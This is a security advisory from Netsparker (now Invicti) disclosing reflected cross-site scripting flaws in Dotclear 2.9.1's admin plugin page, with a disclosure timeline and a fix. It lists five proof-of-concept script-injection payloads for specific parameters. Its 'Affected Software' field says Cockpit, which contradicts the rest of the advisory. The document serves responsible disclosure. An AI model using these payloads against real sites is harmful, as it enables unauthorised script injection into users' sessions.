Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear
Affected Software: Cockpit
Affected Versions: 2.9.1
Vendor Homepage: https://dotclear.org/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-017

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /dotcl/admin/plugin.php
Parameter Name link_title
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED2)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_lang
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EE0)</scRipt>

URL /dotcl/admin/plugin.php?p=blogroll&edit=1&id=1&id='"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
Parameter Name id
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_href
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000ED8)</scRipt>

URL /dotcl/admin/plugin.php
Parameter Name link_desc
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000EDE)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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03 Aug 2016 - Issue reported
13 Aug 2016 - Vendor fixed
22 Sep 2016 - Advisory released

Solution
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Download the latest version of Dotclear.

Credits & Authors
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These issues has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.